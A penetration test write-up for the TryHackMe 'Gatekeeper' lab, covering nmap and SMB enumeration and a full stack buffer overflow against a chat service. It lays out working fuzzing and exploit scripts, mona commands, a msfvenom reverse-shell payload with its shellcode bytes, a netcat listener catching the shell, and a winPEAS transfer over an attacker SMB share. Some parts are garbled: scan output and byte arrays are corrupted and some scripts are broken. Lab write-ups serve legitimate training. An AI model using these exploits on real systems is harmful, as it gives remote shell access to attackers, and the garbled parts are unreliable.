

PENETRATION TEST Write-up

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Prepared for: TryHackMe students

Machine LAB: Gatekeeper

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1. Executive Summary

TryHackMe lab conduct a comprehensive security assessment test in order to help student to test their skills in determine existing vulnerabilities and establish the current level of security risk associated with the environment and the technologies in use and to creat a penetration test report.

The main objective of our exam is to perform an internal penetration test of the provided virtual environment. The exam has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).

1.1. Test Scope

The test scope include one target (Depending on the deployed machine in the lab our target have this IP = 10.10.xx.xx), lab name "Gatekeeper"

The client has asked to secure two flags (no location provided) as proof of exploitation:

User.txt

Root.txt

No Additional information from the client

① The test start in 25 February 2021, at 12:00 AM and end in 25 February 2021, at 06:00 AM

Note: We confirm that we cleaned the target from our malicious code, tools and the application and even logs that used during the testing phase (We confirm there is no future bot or backdoor)

1.2. Result

The table below includes the scope of the tests performed, as well as the overall results of penetration testing these environments.

Environment Tested	Risk Rating	Description
Internal Network	HIGH	A 7-10on the Risk Rating scale. Severe issues that can easily be exploited to
		immediately impact the environment

1.3. Recommendation

For the internal network:

- Close all un-necessary open ports
- Put a strong username and password for the share list "Users"
- Patch the chat application "Gatekeeper.exe)
- A lot of open credential need to close on the target in a secure way (check chapter 2.5)

2. Report Methodologies

2.1. Passive Information Gathering

As we work in Lab environment we skipped this phase to the Active Gathering, in real work better to do a great research on the target using different technique of passive Gathering (Domain and Sub-Domain Gathering, Google enumeration, Email harvesting, Discovering email pattern, whois enumeration, Recon-ng, etc...)

2.2. Enumeration

❖ A lot of open ports: 135, 445, 139, 3389, 49152 49153 49154 49160 49161

```
# Nmap 7.91 scan initiated Wed Feb 24 10:23:20 2021 as: nmap -sC -sV -Pn -o box.txt 10.10.211.5
 Nmap scan report for 10.10.211.5
 Host is up (0.043s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
 135/tcp open msrpc
                                                                         Microsoft Windows RPC
 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
  ssl-cert: Subject: commonName=gatekeeper
 | Not valid before: 2021-02-23T08:20:46
  _Not valid after: 2021-08-25T08:20:46
  ssl-date: 2021-02-24T09:25:02+00:00; -1m18s from scanner time.
31337/tcp open Elite?
       FourOhFourRequest:
         Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
         Hello
       GenericLines:
         Hello
         Hello
       GetRequest:
         Hello GET / HTTP/1.0
         Hello
       HTTPOptions:
         Hello OPTIONS / HTTP/1.0
         Hello
       Help:
          Hello HELP
       Kerberos:
       LDAPSearchReq:
         Hello 0
       LPDString:
         Hello
         default!!!
       RTSPRequest:
         Hello OPTIONS / RTSP/1.0
         Hello
       SIPOntions:
         Hello OPTIONS sip:nm SIP/2.0
         Hello Via: SIP/2.0/TCP nm;branch=foo
         Hello From: <sip:nm@nm>;tag=root
         Hello To: <sip:nm2@nm2>
         Hello Call-ID: 50000
         Hello CSeq: 42 OPTIONS
          Hello Max-Forwards: 70
          Hello Content-Length: 0
           Hello Contact: <sip:nm@nm>
           Hello Accept: application/sdp
       SSLSessionReq, TLSSessionReq, TerminalServerCookie:
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC 49161/tcp open msrpc Microsoft Windows RPC
 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-
bin/submit.cgi?new-service:
SF-Port31337-TCP:V=7.91%I=7%D=2/24%Time=60361B16%P=x86_64-pc-linux-gnu%r(G
SF:etRequest.24."Hello\x20GET\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r
SF:(SIPOptions.142."Hello\x200PTIONS\x20sip:nm\x20SIP/2\.0\r!!!\nHello\x20
SF:Via:\x20SIP/2\.0/TCP\x20nm;branch=foo\r!!!\nHello\x20From:\x20<sip:nm@n
SF:m>; tag=root\\r!!!\\nHello\\x20To:\\x20<sip:nm2@nm2>\\r!!!\\nHello\\x20Call-ID:
SF: \x2050000 \r|!!\nHello\x20CSeq: \x2042 \x20OPTIONS \r|!!\nHello\x20Max-Forward \arrow \
SF: ards: \x2070 \r!!! \n Hello \x20 Content-Length: \x200 \r!!! \n Hello \x20 Contact: \x200 \r!!! \n Hello \x20 Contact: \x200 \r!!! \n Hello \x20 \x200 \n Hello \x20 \n Hello \x200 \n Hello \x200
```

```
SF:\x20<sip:nm@nm>\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x20Accept:\x20application/sdp\r!!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20application/sdp\r!\nHello\x20Accept:\x20applic
 SF:20\r!!!\n")\%r(GenericLines,16,"Hello\x20\r!!!\nHello\x20\r!!!\n")\%r(HTT)
 SF:POptions, 28, "Hello\x200PTIONS\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n"
SF:r!!!\n")\%r(Help,F,"Hello\x20HELP\r!!!\n")\%r(SSLSessionReq,C,"Hello\x20\norm{1}{\columnwdef})
 SF:x16\x03!!!\n")%r(TerminalServerCookie,B,"Hello\x20\x03!!!\n")%r(TLSSess
 SF:ionReq,C,"Hello\x20\x16\x03!!!\n")%r(Kerberos,A,"Hello\x20!!!\n")%r(Fou
 SF:rOhFourRequest,47,"Hello\x20GET\x20/nice%20ports%2C/Tri%6Eity\.txt%2eba
 SF:k\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r(LPDString,12,"Hello\x20\x01de
SF: fault!!!\n") \% r (LDAPS earch Req, 17, "Hello\x200\x84!!!\nHello\x20\x01!!!\n") \% r (LDAPS earch Req, 17, "Hello\x200\x84!!!\nHello\x20\x01!!!\n") \% r (LDAPS earch Req, 17, "Hello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x200\x84!!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\x84!!\nHello\
SF:):
Service Info: Host: GATEKEEPER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
 | clock-skew: mean: 1h13m42s, deviation: 2h30m00s. median: -1m18s
   nbstat: NetBIOS name: GATEKEEPER, NetBIOS user: <unknown>, NetBIOS MAC: 02:6a:9f:d7:b9:1d (unknown)
  | smb-os-discovery:
        OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
        OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
        Computer name: gatekeeper
        NetBIOS computer name: GATEKEEPER\x00
        Workgroup: WORKGROUP\x00
    _ System time: 2021-02-24T04:24:46-05:00
  | smb-security-mode:
   account_used: guest
        authentication_level: user
   | challenge_response: supported
  |_ message_signing: disabled (dangerous, but default)
 | smb2-security-mode:
 2.02:
           Message signing enabled but not required
  | smb2-time:
 | date: 2021-02-24T09:24:46
  l start date: 2021-02-24T08:20:45
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 24 10:26:20 2021 -- 1 IP address (1 host up) scanned in 180.92 seconds
```

According to the scan result we can see that there is some chat server running on the port 31337, which can be vulnerable buffer over flow application. And also that the port 139 and 445 are open, so let's check the SMB share list maybe we can found that chat application:

```
—(root⊡ mictec)-[/home/mictec]
—# nmap -p 139,445 --script=smb
                                                                -users.nse 10.10.211.5 -oN scan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-24 10:32 CET
map scan report for 10.10.211.5
ost is up (0.083s latency).
139/tcp open netbios-ssn
445/tcp open microsoft-ds
lost script results:
 smb-enum-shares:
   account_used: guest
    \\10.10.211.5\ADMIN$:
     Type: STYPE_DISKTREE_HIDDEN
     Type: STYPE_DISKTREE_HIDDEN
     Comment: Default share
     Anonymous access: <none>
    \\10.10.211.5\IPC$:
     Type: STYPE_IPC_HIDDEN
     Comment:
      Anonymous access: <none>
      Current user access: READ
```


And after checking the contents of the Share repository, we found the chat application!

2.3. Exploitation (Gained Access)

- Step 1: open immunity debugger and open the chat application (gatekeeper.exe), then creat a work directory: !mona config -set workingfolder c:\mona\%p
- Step 2: Fuzz the executable application by using this script

```
import socket, time, sys
ip = "127.0.0.1"
port = 31337
buffer = []
counter = 10
while len(buffer) < 50:
 buffer.append("A" * counter)
  counter += 10
for string in buffer:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((ip, port))
    print("Fuzzing with %s bytes" % len(string))
    s.send("step2" + string + "\r\n")
    s.close()
    time.sleep(1)
  except:
    print("Could not connect to " + ip + ":" + str(port))
    sys.exit(0)
```

- Result= the application crash (paused) after sending a 130 bytes



Step 3: Get control of the EIP

- For this step we need to creat a new payload of 130 bytes bytes with a bit of overhead let's add another 50 bytes. Let's create that with the following command: /usr/share/Metasploit-framework/tools/exploit/pattern_create.rb -1 180
- Then execute this script which include our new payload

```
import socket
ip = "127.0.0.1"
port = 31337
prefix = "step3"
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload
1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9'
postfix =
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(buffer + "\r")
 print("Done!")
except:
```


- Then check the value of the EIP by typing this command in the immunity debugger: !mona findmsp -distance 180
- **Result**= EIP contains normal pattern : 0x41376541 (offset 141)
 - ESP address= 00B019E4

Step 4: Overwrite the EIP register with the 4 B's

For this step we need to execute the following script:

```
import socket
ip = "127.0.0.1"
port = 31337
prefix = "step4"
offset = 141
overflow = "A" * offset
retn = "BBBB"
padding =
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(buffer + "\r")
  print("Done!")
except:
 print("Could not connect.")
```

Result = EIP register should now be overwritten with the 4 B's (e.g. 42424242)




♦ VERY IMPORTANT: if you don't have in the EIP (42424242) that mean there is a problem in the previous steps, fixe it before u move to next step.

Step 5: Locate the bad characters


- Create a bytearray excluding the \x00 from it: !mona bytearray -b "\x00"
- Generate a string of bad chars that is identical to the bytearray (you can copy the output characters of the step above)
- Execute this script:

```
import socket
ip = "127.0.0.1"
port = 31337
prefix = "step5"
offset = 141
overflow = "A" * offset
retn = "BBBB"
padding = "
payload
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x
25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49
\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x66\x66\x66\x66\x68\x6e\x6a\x6b\x6c\x6d\x6
e \times 67 \times 70 \times 71 \times 72 \times 73 \times 74 \times 75 \times 76 \times 77 \times 78 \times 79 \times 74 \times 70 \times 70 \times 70 \times 71 \times 82 \times 81 \times 82 \times 83 \times 84 \times 85 \times 86 \times 87 \times 88 \times 89 \times 
93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\x
b8\xb9\xb1\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc6\xc2\xc4\xc2\xc3\xc4\xc6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\xd7\xd6\x
postfix =
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
trv:
          s.connect((ip, port))
          print("Sending evil buffer...")
          s.send(buffer + "\r\n")
          print("Done!")
          print("Could not connect.")
```



shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file b using this command: !mona compare -f C:\mona\gatekeeper\bytearray.bin -a 00AF19E4

Result = badcharecters: \x00\x0a\




- Generate a new bytearray in mona, specifying these new badchars along with \x00\x0a\ (!mona bytearray -b "\x00\x0a").
- Execute this script:

```
import socket
ip = "127.0.0.1"
port = 31337
prefix = "step4"
offset = 141
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x
\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6
f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8c\x8d\x8c\x8f\x90\x91\x92\x93\x
```

```
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
```

- Repeat the badchar comparison until the results status returns "Unmodified" This indicates that no more badchars exist. !mona compare -f C:\mona\gatekeeper\bytearray.bin -a ThenewESPV

Use this command: !mona compare -f C:\mona\gatekeeper\bytearray.bin -a 00AE19E4



♦ VERY IMPORTANT: Not all the time the bad character we will found they all considered as bad character i.e let we suppose that we have /x02/x03/x04/x0F as bad characters, that doesn't mean these are the true bad charcaters its better to check them, because its look like that the x02 and x0F are true bad character but not the x03 and x04 which the x02 impacted them

Step 6: Find Jump Point

Use this command: !mona jmp -r esp -cpb "\x08\x04\x14\xC3\"

- Result = $\xC3\x14\x04\x08$

Step 7: Generate the attack payload

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=443 EXITFUNC=thread -b "\x00\x0a" -f py

Step 8: Add a NOP sleds

Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (x90) bytes: padding = "x90" * 16

Step 9: Exploit.

- make sure before you have a listener ready to receive: nc nvlp 443
- Execute this script: python nameofthescript.py

```
import socket
                                                                                                                                                                                          root mictec) - [/home/mictec
ip = "10.10.18.121"
                                                                                                                                                                                    # nc -nvlp 443
port = 31337
                                                                                                                                                                                 listening on [any] 443
                                                                                                                                                                                 connect to [10.8.157.151] from (UNKNOWN) [10.10.193.99] 49167
prefix = "step5"
                                                                                                                                                                                 Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
offset = 141
overflow = "A" * offset
retn = "\xC3\x14\x04\x08"
padding = "\x90" * 16
                                                                                                                                                                                 C:\Users\natbat\Desktop>dir
buf = b""
buf += b'' \times a \times 24 \times f4 \times 5a \times 2b''
                                                                                                                                                                                   Volume in drive C has no label.
buf += b"\xc9\xb1\x52\x83\xc2\x04\x31\x5a\x13\x03\xeb\x50\x94"
                                                                                                                                                                                   Volume Serial Number is 3ABE-D44B
buf += b'' \times 44 \times f7 \times b' \times 207 \times 40 \times b \times 2e \times 21 \times fb \times 55''
                                                                                                                                                                                   Directory of C:\Users\natbat\Desktop
buf += b'' \times 67 \times 21 \times b \times 1e^{x25} \times e^{x30} \times 73 \times d^{x45} \times d^{x5b} \times d^{x67}
buf += b"\\xee\\x63\\xba\\xdd\\xef\\xd8\\xfe\\x7c\\x6c\\x23\\xd3\\x5e\\x4d"
buf += b"\xec\x26\x9f\x8a\x11\xca\xcd\x43\x5d\x79\xe1\xe0\x2b"
                                                                                                                                                                                 05/14/2020 08:24 PM
                                                                                                                                                                                 05/14/2020 08:24 PM
04/21/2020 04:00 PM
buf += b'' xc1 xc4 x93 x6d xd9 x09 x99 x24 x52 xf9 x55 xb7 xb2''
                                                                                                                                                                                                                                                                  13,312 gatekeeper.exe
buf += b'' \times 33 \times 95 \times 14 \times fb \times 64 \times 64 \times 3c \times 3b \times 97 \times 13 \times 34 \times 3f''
                                                                                                                                                                                 04/20/2020 12:27 AM
                                                                                                                                                                                 04/21/2020 08:53 PM
buf += b'' \ x2a \ x24 \ x83 \ x3d \ xf0 \ xa1 \ x17 \ xe5 \ x73 \ x11 \ xf3 \ x17 \ x57''
                                                                                                                                                                                                                                                                         135 gatekeeperstart.bat
                                                                                                                                                                                 05/14/2020 08:43 PM
                                                                                                                                                                                                                                                                          140 user.txt.txt
buf += b"\xc4\x70\x1b\x1c\x82\xde\x38\xa3\x47\x55\x44\x28\x66"
                                                                                                                                                                                                                                                                     14,784 bytes
buf += b'' xb9 xcc x6a x4d x1d x94 x29 xec x04 x70 x9f x11 x56''
                                                                                                                                                                                                                      2 Dir(s) 15,851,945,984 bytes free
buf += b'' \x40 \x40 \x1d \xf6 \x95 \xc5 \x7c \x9f \x5a \xe4 \x7e \x5f''
buf += b'' \xf5 \x7f \x0d \x6d \x5a \xd4 \x99 \xdd \x13 \xf2 \x5e \x21 \x0e''
                                                                                                                                                                                 C:\Users\natbat\Desktop>type user.txt.txt
buf += b'' \times 42 \times f0 \times d^{xb1} \times 3 \times d^{x1a} \times 6 \times 6 ''
buf += b"\x81\x33\x53\x3f\xd1\x9b\x0c\x80\x81\x5b\xfd\x68\xcb"
buf += b"\x53\x22\x88\xf4\xb9\x4b\x23\x0f\x2a\x7e\xbc\x92\x3d"
buf += b'' \times 16 \times ac \times 81 \times e5 \times 37 \times 4a \times 6b \times fa \times 11 \times c5 \times 04 \times 63''
                                                                                                                                                                                  The buffer overflow in this room is credited to Justin Steven and his
buf += b'' \times 38 \times 9d \times 5 \times 6c \times 96 \times 48 \times 66 \times 27 \times 15 \times 1d \times 8 \times 07 \times 53''
                                                                                                                                                                                   dostackbufferoverflowgood" program. Thank you!
buf += b'' \x0d \x2d \xe0 \x2e \x6f \xf8 \xff \x84 \x07 \x66 \x6d \x43 \xd7''
                                                                                                                                                                                  C:\Users\natbat\Desktop>
buf += b"\\xe1\\x8e\\xdc\\x80\\xa6\\x61\\x15\\x44\\x5b\\xdb\\x8f\\x7a\\xa6"
buf += b'' \times 58 \times 9b \times 80 \times 95 \times 36 \times 75 \times 67 \times 4c \times f9 \times 21 \times 23 \times 53''
buf += b"\xa7\xc4\x0f\x64\xb1\xc8\x45\x12\x5d\x78\x30\x63\x62"
buf += b'' \times 5 \times 4 \times 63 \times 16 \times 44 \times 86 \times 66 \times 64 \times 66 \times 64 \times 66 \times 64 \times 66 
buf += b"\x0d\x37\xb7\x27\x50\xc8\x62\x6b\x6d\x4b\x86\x14\x8a"
buf += b"\x53\xe3\x11\xd6\xd3\x18\x68\x47\xb6\x1e\xdf\x68\x93"
pavload=buf
postfix =
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((ip, port))
     print("Sending evil buffer...")
     s.send(buffer + "\r\")
     print("Done!")
     print("Could not connect.")
```

2.4. Internal Vulnerability Detection

- ❖ In this step I start looking for any interesting vulnerability on the system like:
- Checking open port (netstat –a): many port are open
- Checking the /etc/hosts : two domain found
- Looking for interesting file: content of firefox.link looks important
- Checking manually on file permission with icacls tool
- So as you can see our manual search is interesting but take more time and don't gave us a good result after testing them. So I decide it to use winPEAS.bat for quick result
- ❖ To get winPEAS.bat on the target machine , I used the smb transfer method:
- On the attacker machine:

Copy the winPEAS.bat in some folder (i.e smbfolder) Change your directory on the terminal to be inside the smbfolder The type: smbserver.py **smbfolder**.

On the target machine:

net use \\attackerIP \smbfolder
copy \\ attackerIP\smbfolder\winPEAS.bat

Output of winPEAS.bat after executing it. I highlighted in yellow color the most important)

